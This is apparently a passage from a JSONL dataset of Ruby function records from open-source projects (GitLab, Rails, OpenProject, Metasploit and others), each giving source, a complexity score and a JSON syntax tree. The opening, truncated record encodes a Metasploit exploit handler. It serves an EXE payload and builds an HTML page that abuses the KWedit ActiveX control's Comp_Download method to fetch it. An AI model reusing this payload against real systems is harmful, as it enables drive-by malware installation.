",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\":\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]}]},\"to_s\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"get_resource\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"/payload\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"payload\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"regenerate_payload\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]},\"==\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"encoded\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending EXE payload\"]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/octet-stream\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"vname\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"exe\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[20]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"<html>\\n\"]},{\"type\":\"str\",\"children\":[\"<head>\\n\"]},{\"type\":\"str\",\"children\":[\" <script>\\n\"]},{\"type\":\"str\",\"children\":[\" try {\\n\"]},{\"type\":\"str\",\"children\":[\" var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vname\"]}]},{\"type\":\"str\",\"children\":[\" = new ActiveXObject('Kweditcontrol.KWedit.1');\\n\"]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vname\"]}]},{\"type\":\"str\",\"children\":[\".Comp_Download(\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_url\"]}]},{\"type\":\"str\",\"children\":[\"\\\",\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PATH\"]}]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exe\"]}]},{\"type\":\"str\",\"children\":[\".exe\\\");\\n\"]},{\"type\":\"str\",\"children\":[\" } catch( e ) { window.location = 'about:blank' ; }\\n\"]},{\"type\":\"str\",\"children\":[\" </script>\\n\"]},{\"type\":\"str\",\"children\":[\"</head>\\n\"]},{\"type\":\"str\",\"children\":[\"</html>\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_response_html\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"handler\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]}","id":"ee6fbfce-1cf2-4316-b4ec-3f56e58c3d6f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/files/multi_service.rb","start_line":32,"raw_source":"def transform_move_actions(actions)\n actions.map do |action|\n action[:infer_content] = true if action[:content].nil?\n\n action\n end\n end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"transform_move_actions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"actions\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actions\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"content\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"infer_content\"]},{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"lvar\",\"children\":[\"action\"]}]}]}]}","id":"013e93cf-3365-49fe-a16f-da3e1cdd9800"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/ci_document.rb","start_line":23,"raw_source":"def start_element(name=nil,attrs=[])\n attrs = normalize_attrs(attrs)\n block = @block\n\n r = { :e => name }\n attrs.each { |pair| r[pair[0]] = pair[1] }\n\n if @state[:path]\n @state[:path].push r\n end\n\n case name\n when \"entity\"\n @state[:path] = [ r ]\n record_device(r)\n when \"property\"\n return if not @state[:address]\n return if not @state[:props]\n @state[:props] << [ r[\"type\"], r[\"key\"]]\n end\n end","complexity_score":34.63,"ast_json":"{\"type\":\"def\",\"children\":[\"start_element\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"attrs\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attrs\",{\"type\":\"send\",\"children\":[null,\"normalize_attrs\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"block\",{\"type\":\"ivar\",\"children\":[\"@block\"]}]},{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"e\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pair\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pair\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pair\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]},\"push\",{\"type\":\"lvar\",\"children\":[\"r\"]}]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"entity\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]}]}]},{\"type\":\"send\",\"children\":[null,\"record_device\",{\"type\":\"lvar\",\"children\":[\"r\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"property\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"address\"]}]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"props\"]}]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"props\"]}]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]\",{\"type\":\"str\",\"children\":[\"key\"]}]}]}]}]}]},null]}]}]}","id":"18b10cb6-753f-45ba-80d9-78d2952ab872"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/background_migration/backfill_issues_dates_with_work_item_dates_sources_spec.rb","start_line":67,"raw_source":"def work_items(iid:)\n table(:issues).create!(\n iid: iid,\n title: \"Issue #{iid}\",\n lock_version: 1,\n namespace_id: namespace.id,\n author_id: author.id,\n work_item_type_id: epic_type_id\n )\n end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"work_items\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"iid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table\",{\"type\":\"sym\",\"children\":[\"issues\"]}]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"iid\"]},{\"type\":\"lvar\",\"children\":[\"iid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Issue \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"iid\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"lock_version\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"author\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_item_type_id\"]},{\"type\":\"send\",\"children\":[null,\"epic_type_id\"]}]}]}]}]}","id":"3aa30eeb-9e0b-4477-9881-f99b99a77c8e"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/lib/widget/table/entry_table.rb","start_line":192,"raw_source":"def labour_query?\n cost_type_filter = @subject.filters.detect { |f| f.is_a?(CostQuery::Filter::CostTypeId) }\n cost_type_filter&.values&.first.to_i == -1\n end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"labour_query?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cost_type_filter\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subject\"]},\"filters\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CostQuery\"]},\"Filter\"]},\"CostTypeId\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cost_type_filter\"]},\"values\"]},\"first\"]},\"to_i\"]},\"==\",{\"type\":\"int\",\"children\":[-1]}]}]}]}","id":"e7e25fc8-c475-4031-adab-f2414a7c99af"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/theme_translation_manager.rb","start_line":33,"raw_source":"def value\n has_record? ? db_record.value : default\n end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_record?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_record\"]},\"value\"]},{\"type\":\"send\",\"children\":[null,\"default\"]}]}]}","id":"9ded7b3e-866a-4541-8f52-32ac2a87a309"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/product.rb","start_line":297,"raw_source":"def purchasable?\n @purchasable ||= default_variant.purchasable? || variants.in_stock_or_backorderable.any?\n end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"purchasable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@purchasable\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default_variant\"]},\"purchasable?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"variants\"]},\"in_stock_or_backorderable\"]},\"any?\"]}]}]}]}","id":"87e50ed2-b1d4-4693-816f-ca77a566c1d9"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/sqlite3/explain_pretty_printer.rb","start_line":13,"raw_source":"def pp(result)\n result.rows.map do |row|\n row.join(\"|\")\n end.join(\"\\n\") + \"\\n\"\n end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"pp\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"rows\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"join\",{\"type\":\"str\",\"children\":[\"|\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}","id":"982b2017-4fd2-4c3f-93fa-2d80b87b0033"} {"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/service.rb","start_line":31,"raw_source":"def exception_reporter\n config.exception_reporter\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"exception_reporter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"exception_reporter\"]}]}","id":"a384bcb9-56fa-4ec8-bd52-b84370236667"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/app/helpers/reporting_helper.rb","start_line":240,"raw_source":"def controller_for(type)\n type == \"TimeEntry\" ? \"timelog\" : \"costlog\"\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"controller_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"TimeEntry\"]}]},{\"type\":\"str\",\"children\":[\"timelog\"]},{\"type\":\"str\",\"children\":[\"costlog\"]}]}]}","id":"f5ece4fa-4de4-4c49-99ec-9b2838c999a2"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/db/migrate/20250709090813_add_entity_index_for_costs.rb","start_line":6,"raw_source":"def change\n add_index :time_entries, %i[entity_type entity_id], algorithm: :concurrently\n add_index :time_entry_journals, %i[entity_type entity_id], algorithm: :concurrently\n add_index :cost_entries, %i[entity_type entity_id], algorithm: :concurrently\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"time_entries\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"entity_type\"]},{\"type\":\"sym\",\"children\":[\"entity_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"time_entry_journals\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"entity_type\"]},{\"type\":\"sym\",\"children\":[\"entity_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"cost_entries\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"entity_type\"]},{\"type\":\"sym\",\"children\":[\"entity_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]}]}]}","id":"e6405b21-c65b-4eec-a5fe-3982fd156780"} {"repo_name":"rspec-core","file_path":"./repos/rspec-core/spec/integration/bisect_spec.rb","start_line":74,"raw_source":"def initialize(pid)\n @list = child_process_list(pid)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pid\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@list\",{\"type\":\"send\",\"children\":[null,\"child_process_list\",{\"type\":\"lvar\",\"children\":[\"pid\"]}]}]}]}","id":"f56038dc-7449-453c-881b-020ae38175aa"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/labels_finder.rb","start_line":21,"raw_source":"def execute(skip_authorization: false)\n @skip_authorization = skip_authorization\n items = find_union(item_ids, Label) || Label.none\n items = with_title(items)\n items = by_subscription(items)\n items = by_search(items)\n items = by_locked_labels(items)\n items = by_archived(items) if Feature.enabled?(:labels_archive, :instance)\n\n items = items.with_preloaded_container if @preload_parent_association\n sort(items)\n end","complexity_score":22.9,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"skip_authorization\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@skip_authorization\",{\"type\":\"lvar\",\"children\":[\"skip_authorization\"]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_union\",{\"type\":\"send\",\"children\":[null,\"item_ids\"]},{\"type\":\"const\",\"children\":[null,\"Label\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Label\"]},\"none\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"with_title\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_subscription\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_search\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_locked_labels\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"labels_archive\"]},{\"type\":\"sym\",\"children\":[\"instance\"]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_archived\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@preload_parent_association\"]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"with_preloaded_container\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"sort\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]}]}","id":"673cedfc-c845-48cc-abec-9ac25c788314"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/smb/client.rb","start_line":259,"raw_source":"def domain_username_split(user)\n return user if(user.nil? || user.empty?)\n if !user[/\\//] # Only /, not \\!\n return [nil,user]\n else\n return user.split(\"/\",2)\n end\n end","complexity_score":8.83,"ast_json":"{\"type\":\"def\",\"children\":[\"domain_username_split\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"empty?\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"int\",\"children\":[2]}]}]}]}]}]}","id":"78829f2e-8ffe-466e-8373-1fdef7c4eef3"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/hash_ext_test.rb","start_line":926,"raw_source":"def test_from_trusted_xml_allows_symbol_and_yaml_types\n expected = { \"product\" => { \"name\" => :value } }\n assert_equal expected, Hash.from_trusted_xml('<product><name type=\"symbol\">value</name></product>')\n assert_equal expected, Hash.from_trusted_xml('<product><name type=\"yaml\">:value</name></product>')\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_from_trusted_xml_allows_symbol_and_yaml_types\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"product\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"value\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"from_trusted_xml\",{\"type\":\"str\",\"children\":[\"<product><name type=\\\"symbol\\\">value</name></product>\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"from_trusted_xml\",{\"type\":\"str\",\"children\":[\"<product><name type=\\\"yaml\\\">:value</name></product>\"]}]}]}]}]}","id":"d3d03f53-8796-4dd0-83ca-879bdab9c3fd"} {"repo_name":"liquid","file_path":"./repos/liquid/test/integration/tags/include_tag_test.rb","start_line":184,"raw_source":"def test_dynamically_choosen_template\n assert_template_result(\n \"Test123\",\n \"{% include template %}\",\n { \"template\" => 'Test123' },\n partials: { \"Test123\" => \"Test123\" },\n )\n\n assert_template_result(\n \"Test321\",\n \"{% include template %}\",\n { \"template\" => 'Test321' },\n partials: { \"Test321\" => \"Test321\" },\n )\n\n assert_template_result(\n \"Product: Draft 151cm \",\n \"{% include template for product %}\",\n { \"template\" => 'product', 'product' => { 'title' => 'Draft 151cm' } },\n partials: { \"product\" => \"Product: {{ product.title }} \" },\n )\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_dynamically_choosen_template\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"Test123\"]},{\"type\":\"str\",\"children\":[\"{% include template %}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"template\"]},{\"type\":\"str\",\"children\":[\"Test123\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partials\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Test123\"]},{\"type\":\"str\",\"children\":[\"Test123\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"Test321\"]},{\"type\":\"str\",\"children\":[\"{% include template %}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"template\"]},{\"type\":\"str\",\"children\":[\"Test321\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partials\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Test321\"]},{\"type\":\"str\",\"children\":[\"Test321\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"Product: Draft 151cm \"]},{\"type\":\"str\",\"children\":[\"{% include template for product %}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"template\"]},{\"type\":\"str\",\"children\":[\"product\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"product\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"Draft 151cm\"]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partials\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"product\"]},{\"type\":\"str\",\"children\":[\"Product: {{ product.title }} \"]}]}]}]}]}]}]}]}","id":"19f0f134-13a1-4eb3-9e1b-ef91ba26a53f"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/vlc_mkv.rb","start_line":119,"raw_source":"def to_bytes(num, length, endianess = 'big')\n h = format('%<num>x', num: num)\n s = ('0' * (h.length % 2) + 